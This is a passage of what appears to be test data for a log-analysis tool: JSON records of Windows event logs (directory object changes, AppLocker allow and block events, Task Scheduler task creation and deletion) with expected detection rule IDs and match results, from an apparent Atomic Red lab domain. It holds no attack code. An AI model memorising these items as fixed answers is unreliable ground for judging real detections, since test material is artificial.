"win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60228", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "A scheduled task was created"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x6a874\", \"dSName\": \"xrisbarney.local\", \"attributeValue\": \"accounting accounting\", \"subjectDomainName\": \"XRISBARNEY\", \"objectClass\": \"user\", \"opCorrelationID\": \"{199ff79b-1b43-4bdc-a742-67c94ef4eaba}\", \"objectDN\": \"CN=accounting accounting2,CN=Users,DC=xrisbarney,DC=local\", \"attributeSyntaxOID\": \"2.5.5.12\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-500\", \"dSType\": \"%%14676\", \"attributeLDAPDisplayName\": \"name\", \"objectGUID\": \"{3f7a4d00-7651-4e57-acc7-5ef76585351e}\", \"operationType\": \"%%14674\", \"subjectUserName\": \"Administrator\" }, \"system\": { \"eventID\": \"5136\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A directory service object was modified.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x6A874\\r\\n\\r\\nDirectory Service:\\r\\n\\tName:\\txrisbarney.local\\r\\n\\tType:\\tActive Directory Domain Services\\r\\n\\t\\r\\nObject:\\r\\n\\tDN:\\tCN=accounting accounting2,CN=Users,DC=xrisbarney,DC=local\\r\\n\\tGUID:\\t{3f7a4d00-7651-4e57-acc7-5ef76585351e}\\r\\n\\tClass:\\tuser\\r\\n\\t\\r\\nAttribute:\\r\\n\\tLDAP Display Name:\\tname\\r\\n\\tSyntax (OID):\\t2.5.5.12\\r\\n\\tValue:\\taccounting accounting\\r\\n\\t\\r\\nOperation:\\r\\n\\tType:\\tValue Added\\r\\n\\tCorrelation ID:\\t{199ff79b-1b43-4bdc-a742-67c94ef4eaba}\\r\\n\\tApplication Correlation ID:\\t-\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-12T11:53:46.800716700Z\", \"eventRecordID\": \"144592\", \"threadID\": \"660\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"14081\", \"processID\": \"560\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.attributeLDAPDisplayName": "name", "win.eventdata.attributeSyntaxOID": "2.5.5.12", "win.eventdata.attributeValue": "accounting accounting", "win.eventdata.dSName": "xrisbarney.local", "win.eventdata.dSType": "%%14676", "win.eventdata.objectClass": "user", "win.eventdata.objectDN": "CN=accounting accounting2,CN=Users,DC=xrisbarney,DC=local", "win.eventdata.objectGUID": "{3f7a4d00-7651-4e57-acc7-5ef76585351e}", "win.eventdata.opCorrelationID": "{199ff79b-1b43-4bdc-a742-67c94ef4eaba}", "win.eventdata.operationType": "%%14674", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x6a874", "win.eventdata.subjectUserName": "Administrator", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-500", "win.system.channel": "Security", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "5136", "win.system.eventRecordID": "144592", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "560", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-12T11:53:46.800716700Z", "win.system.task": "14081", "win.system.threadID": "660", "win.system.version": "0"}, "field_names": ["win.eventdata.attributeLDAPDisplayName", "win.eventdata.attributeSyntaxOID", "win.eventdata.attributeValue", "win.eventdata.dSName", "win.eventdata.dSType", "win.eventdata.objectClass", "win.eventdata.objectDN", "win.eventdata.objectGUID", "win.eventdata.opCorrelationID", "win.eventdata.operationType", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60229", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "A directory service object was modified"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x6a874\", \"dSName\": \"xrisbarney.local\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-500\", \"subjectDomainName\": \"XRISBARNEY\", \"dSType\": \"%%14676\", \"objectGUID\": \"{1a7bf7a4-3d57-4674-b1a1-3b0f5456e014}\", \"objectClass\": \"user\", \"opCorrelationID\": \"{fd9b26af-5d82-4cd3-a55a-5abb54d9f538}\", \"objectDN\": \"cn=test,CN=Users,DC=xrisbarney,DC=local\", \"subjectUserName\": \"Administrator\" }, \"system\": { \"eventID\": \"5137\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A directory service object was created.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x6A874\\r\\n\\t\\r\\nDirectory Service:\\r\\n\\tName:\\txrisbarney.local\\r\\n\\tType:\\tActive Directory Domain Services\\r\\n\\t\\r\\nObject:\\r\\n\\tDN:\\tcn=test,CN=Users,DC=xrisbarney,DC=local\\r\\n\\tGUID:\\t{1a7bf7a4-3d57-4674-b1a1-3b0f5456e014}\\r\\n\\tClass:\\tuser\\r\\n\\t\\r\\nOperation:\\r\\n\\tCorrelation ID:\\t{fd9b26af-5d82-4cd3-a55a-5abb54d9f538}\\r\\n\\tApplication Correlation ID:\\t-\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-12T12:06:07.200487500Z\", \"eventRecordID\": \"144612\", \"threadID\": \"660\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"14081\", \"processID\": \"560\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.dSName": "xrisbarney.local", "win.eventdata.dSType": "%%14676", "win.eventdata.objectClass": "user", "win.eventdata.objectDN": "cn=test,CN=Users,DC=xrisbarney,DC=local", "win.eventdata.objectGUID": "{1a7bf7a4-3d57-4674-b1a1-3b0f5456e014}", "win.eventdata.opCorrelationID": "{fd9b26af-5d82-4cd3-a55a-5abb54d9f538}", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x6a874", "win.eventdata.subjectUserName": "Administrator", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-500", "win.system.channel": "Security", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "5137", "win.system.eventRecordID": "144612", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "560", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-12T12:06:07.200487500Z", "win.system.task": "14081", "win.system.threadID": "660", "win.system.version": "0"}, "field_names": ["win.eventdata.dSName", "win.eventdata.dSType", "win.eventdata.objectClass", "win.eventdata.objectDN", "win.eventdata.objectGUID", "win.eventdata.opCorrelationID", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60230", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "A directory service object was created"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x6a874\", \"dSName\": \"xrisbarney.local\", \"treeDelete\": \"%%14679\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-500\", \"subjectDomainName\": \"XRISBARNEY\", \"dSType\": \"%%14676\", \"objectGUID\": \"{3f7a4d00-7651-4e57-acc7-5ef76585351e}\", \"objectClass\": \"user\", \"opCorrelationID\": \"{c235ef0e-0d48-4381-b6a0-114c69fc3324}\", \"objectDN\": \"CN=accounting accounting,CN=Users,DC=xrisbarney,DC=local\", \"subjectUserName\": \"Administrator\" }, \"system\": { \"eventID\": \"5141\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A directory service object was deleted.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x6A874\\r\\n\\t\\r\\nDirectory Service:\\r\\n\\tName:\\txrisbarney.local\\r\\n\\tType:\\tActive Directory Domain Services\\r\\n\\t\\r\\nObject:\\r\\n\\tDN:\\tCN=accounting accounting,CN=Users,DC=xrisbarney,DC=local\\r\\n\\tGUID:\\t{3f7a4d00-7651-4e57-acc7-5ef76585351e}\\r\\n\\tClass:\\tuser\\r\\n\\t\\r\\nOperation:\\r\\n\\tTree Delete:\\tNo\\r\\n\\tCorrelation ID:\\t{c235ef0e-0d48-4381-b6a0-114c69fc3324}\\r\\n\\tApplication Correlation ID:\\t-\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-12T12:03:37.060332200Z\", \"eventRecordID\": \"144611\", \"threadID\": \"660\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"14081\", \"processID\": \"560\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.dSName": "xrisbarney.local", "win.eventdata.dSType": "%%14676", "win.eventdata.objectClass": "user", "win.eventdata.objectDN": "CN=accounting accounting,CN=Users,DC=xrisbarney,DC=local", "win.eventdata.objectGUID": "{3f7a4d00-7651-4e57-acc7-5ef76585351e}", "win.eventdata.opCorrelationID": "{c235ef0e-0d48-4381-b6a0-114c69fc3324}", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x6a874", "win.eventdata.subjectUserName": "Administrator", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-500", "win.eventdata.treeDelete": "%%14679", "win.system.channel": "Security", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "5141", "win.system.eventRecordID": "144611", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "560", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-12T12:03:37.060332200Z", "win.system.task": "14081", "win.system.threadID": "660", "win.system.version": "0"}, "field_names": ["win.eventdata.dSName", "win.eventdata.dSType", "win.eventdata.objectClass", "win.eventdata.objectDN", "win.eventdata.objectGUID", "win.eventdata.opCorrelationID", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.treeDelete", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60231", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "A directory service object was deleted"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8002\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-AppLocker/EXE and DLL\",\"opcode\":\"0\",\"message\":\"\\\"%SYSTEM32%\\\\TASKHOSTW.EXE was allowed to run.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-10T23:40:50.0608494Z\",\"eventRecordID\":\"48\",\"threadID\":\"5880\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"1260\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"3736\",\"ruleNameLength\":\"54\",\"policyName\":\"Exe\",\"policyNameLength\":\"3\",\"filePath\":\"%SYSTEM32%\\\\\\\\TASKHOSTW.EXE\",\"fullFilePathLength\":\"33\",\"filePathLength\":\"24\",\"fileHashLength\":\"0\",\"targetLogonId\":\"0x35718c\",\"ruleSddl\":\"D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains \\\\\\\"%WINDIR%\\\\\\\\*\\\\\\\"))\",\"fqbnLength\":\"1\",\"ruleName\":\"(Default Rule) All files located in the Windows folder\",\"fullFilePath\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\taskhostw.exe\",\"ruleId\":\"{a61c8b2c-a319-4cd0-9690-d2177cad7b51}\",\"ruleSddlLength\":\"57\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fileHashLength": "0", "win.ruleAndFileData.filePath": "%SYSTEM32%\\\\TASKHOSTW.EXE", "win.ruleAndFileData.filePathLength": "24", "win.ruleAndFileData.fqbnLength": "1", "win.ruleAndFileData.fullFilePath": "C:\\\\Windows\\\\system32\\\\taskhostw.exe", "win.ruleAndFileData.fullFilePathLength": "33", "win.ruleAndFileData.policyName": "Exe", "win.ruleAndFileData.policyNameLength": "3", "win.ruleAndFileData.ruleId": "{a61c8b2c-a319-4cd0-9690-d2177cad7b51}", "win.ruleAndFileData.ruleName": "(Default Rule) All files located in the Windows folder", "win.ruleAndFileData.ruleNameLength": "54", "win.ruleAndFileData.ruleSddl": "D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains \\\"%WINDIR%\\\\*\\\"))", "win.ruleAndFileData.ruleSddlLength": "57", "win.ruleAndFileData.targetLogonId": "0x35718c", "win.ruleAndFileData.targetProcessId": "3736", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/EXE and DLL", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8002", "win.system.eventRecordID": "48", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.message": "\"%SYSTEM32%\\TASKHOSTW.EXE was allowed to run.\"", "win.system.opcode": "0", "win.system.processID": "1260", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-10T23:40:50.0608494Z", "win.system.task": "0", "win.system.threadID": "5880", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fileHashLength", "win.ruleAndFileData.filePath", "win.ruleAndFileData.filePathLength", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.fullFilePath", "win.ruleAndFileData.fullFilePathLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", "win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetLogonId", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67011", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "App-locker allowed .EXE execution"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8003\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-AppLocker/EXE and DLL\",\"opcode\":\"0\",\"message\":\"\\\"%OSDRIVE%\\\\X\\\\NPP.8.4.1.INSTALLER.X64.EXE was prevented from running.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-10T23:36:47.5675660Z\",\"eventRecordID\":\"46\",\"threadID\":\"5072\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"3128\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"2804\",\"ruleNameLength\":\"14\",\"policyName\":\"Exe\",\"policyNameLength\":\"3\",\"filePath\":\"%OSDRIVE%\\\\\\\\X\\\\\\\\NPP.8.4.1.INSTALLER.X64.EXE\",\"fullFilePathLength\":\"32\",\"filePathLength\":\"39\",\"fileHashLength\":\"0\",\"targetLogonId\":\"0x35718c\",\"ruleSddl\":\"D:(XD;;FX;;;S-1-1-0;(APPID://PATH Contains \\\\\\\"%OSDRIVE%\\\\\\\\X\\\\\\\\*\\\\\\\"))\",\"fqbnLength\":\"1\",\"ruleName\":\"Execute from x\",\"fullFilePath\":\"C:\\\\\\\\x\\\\\\\\npp.8.4.1.Installer.x64.exe\",\"ruleId\":\"{519e1be7-3ebe-4679-b282-94b611c4b06f}\",\"ruleSddlLength\":\"60\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fileHashLength": "0", "win.ruleAndFileData.filePath": "%OSDRIVE%\\\\X\\\\NPP.8.4.1.INSTALLER.X64.EXE", "win.ruleAndFileData.filePathLength": "39", "win.ruleAndFileData.fqbnLength": "1", "win.ruleAndFileData.fullFilePath": "C:\\\\x\\\\npp.8.4.1.Installer.x64.exe", "win.ruleAndFileData.fullFilePathLength": "32", "win.ruleAndFileData.policyName": "Exe", "win.ruleAndFileData.policyNameLength": "3", "win.ruleAndFileData.ruleId": "{519e1be7-3ebe-4679-b282-94b611c4b06f}", "win.ruleAndFileData.ruleName": "Execute from x", "win.ruleAndFileData.ruleNameLength": "14", "win.ruleAndFileData.ruleSddl": "D:(XD;;FX;;;S-1-1-0;(APPID://PATH Contains \\\"%OSDRIVE%\\\\X\\\\*\\\"))", "win.ruleAndFileData.ruleSddlLength": "60", "win.ruleAndFileData.targetLogonId": "0x35718c", "win.ruleAndFileData.targetProcessId": "2804", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/EXE and DLL", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8003", "win.system.eventRecordID": "46", "win.system.keywords": "0x8000000000000000", "win.system.level": "2", "win.system.message": "\"%OSDRIVE%\\X\\NPP.8.4.1.INSTALLER.X64.EXE was prevented from running.\"", "win.system.opcode": "0", "win.system.processID": "3128", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "WARNING", "win.system.systemTime": "2022-08-10T23:36:47.5675660Z", "win.system.task": "0", "win.system.threadID": "5072", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fileHashLength", "win.ruleAndFileData.filePath", "win.ruleAndFileData.filePathLength", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.fullFilePath", "win.ruleAndFileData.fullFilePathLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", "win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetLogonId", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67012", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "App-locker would block .EXE execution"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8004\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-AppLocker/EXE and DLL\",\"opcode\":\"0\",\"message\":\"\\\"%OSDRIVE%\\\\X\\\\NPP.8.4.1.INSTALLER.X64.EXE was prevented from running.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-10T23:36:47.5675660Z\",\"eventRecordID\":\"46\",\"threadID\":\"5072\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"3128\",\"severityValue\":\"ERROR\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"2804\",\"ruleNameLength\":\"14\",\"policyName\":\"Exe\",\"policyNameLength\":\"3\",\"filePath\":\"%OSDRIVE%\\\\\\\\X\\\\\\\\NPP.8.4.1.INSTALLER.X64.EXE\",\"fullFilePathLength\":\"32\",\"filePathLength\":\"39\",\"fileHashLength\":\"0\",\"targetLogonId\":\"0x35718c\",\"ruleSddl\":\"D:(XD;;FX;;;S-1-1-0;(APPID://PATH Contains \\\\\\\"%OSDRIVE%\\\\\\\\X\\\\\\\\*\\\\\\\"))\",\"fqbnLength\":\"1\",\"ruleName\":\"Execute from x\",\"fullFilePath\":\"C:\\\\\\\\x\\\\\\\\npp.8.4.1.Installer.x64.exe\",\"ruleId\":\"{519e1be7-3ebe-4679-b282-94b611c4b06f}\",\"ruleSddlLength\":\"60\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fileHashLength": "0", "win.ruleAndFileData.filePath": "%OSDRIVE%\\\\X\\\\NPP.8.4.1.INSTALLER.X64.EXE", "win.ruleAndFileData.filePathLength": "39", "win.ruleAndFileData.fqbnLength": "1", "win.ruleAndFileData.fullFilePath": "C:\\\\x\\\\npp.8.4.1.Installer.x64.exe", "win.ruleAndFileData.fullFilePathLength": "32", "win.ruleAndFileData.policyName": "Exe", "win.ruleAndFileData.policyNameLength": "3", "win.ruleAndFileData.ruleId": "{519e1be7-3ebe-4679-b282-94b611c4b06f}", "win.ruleAndFileData.ruleName": "Execute from x", "win.ruleAndFileData.ruleNameLength": "14", "win.ruleAndFileData.ruleSddl": "D:(XD;;FX;;;S-1-1-0;(APPID://PATH Contains \\\"%OSDRIVE%\\\\X\\\\*\\\"))", "win.ruleAndFileData.ruleSddlLength": "60", "win.ruleAndFileData.targetLogonId": "0x35718c", "win.ruleAndFileData.targetProcessId": "2804", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/EXE and DLL", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8004", "win.system.eventRecordID": "46", "win.system.keywords": "0x8000000000000000", "win.system.level": "2", "win.system.message": "\"%OSDRIVE%\\X\\NPP.8.4.1.INSTALLER.X64.EXE was prevented from running.\"", "win.system.opcode": "0", "win.system.processID": "3128", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "ERROR", "win.system.systemTime": "2022-08-10T23:36:47.5675660Z", "win.system.task": "0", "win.system.threadID": "5072", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fileHashLength", "win.ruleAndFileData.filePath", "win.ruleAndFileData.filePathLength", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.fullFilePath", "win.ruleAndFileData.fullFilePathLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", "win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetLogonId", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "67013", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "App-locker blocked .EXE execution"} +{"log": "{\"win\":{\"eventdata\":{\"taskName\":\"\\\\\\\\test-task\",\"userContext\":\"S-1-5-18\"},\"system\":{\"eventID\":\"106\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{de7b24ea-73c8-4a09-985d-5bdadcfa9017}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-TaskScheduler/Operational\",\"opcode\":\"0\",\"message\":\"\\\"User \\\"S-1-5-18\\\" registered Task Scheduler task \\\"\\\\test-task\\\"\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-11T20:31:40.4825154Z\",\"eventRecordID\":\"60201\",\"threadID\":\"6112\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"106\",\"processID\":\"1104\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-TaskScheduler\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.taskName": "\\\\test-task", "win.eventdata.userContext": "S-1-5-18", "win.system.channel": "Microsoft-Windows-TaskScheduler/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "106", "win.system.eventRecordID": "60201", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.message": "\"User \"S-1-5-18\" registered Task Scheduler task \"\\test-task\"\"", "win.system.opcode": "0", "win.system.processID": "1104", "win.system.providerGuid": "{de7b24ea-73c8-4a09-985d-5bdadcfa9017}", "win.system.providerName": "Microsoft-Windows-TaskScheduler", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-11T20:31:40.4825154Z", "win.system.task": "106", "win.system.threadID": "6112", "win.system.version": "0"}, "field_names": ["win.eventdata.taskName", "win.eventdata.userContext", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67014", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Task scheduler: create task"} +{"log": "{\"win\":{\"eventdata\":{\"taskName\":\"\\\\\\\\test-task\",\"userName\":\"EXCHANGETEST\\\\\\\\AtomicRed\"},\"system\":{\"eventID\":\"141\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{de7b24ea-73c8-4a09-985d-5bdadcfa9017}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-TaskScheduler/Operational\",\"opcode\":\"0\",\"message\":\"\\\"User \\\"EXCHANGETEST\\\\AtomicRed\\\" deleted Task Scheduler task \\\"\\\\test-task\\\"\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-11T20:39:10.7871630Z\",\"eventRecordID\":\"60210\",\"threadID\":\"4656\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"141\",\"processID\":\"1104\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-TaskScheduler\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.taskName": "\\\\test-task", "win.eventdata.userName": "EXCHANGETEST\\\\AtomicRed", "win.system.channel": "Microsoft-Windows-TaskScheduler/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "141", "win.system.eventRecordID": "60210", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.message": "\"User 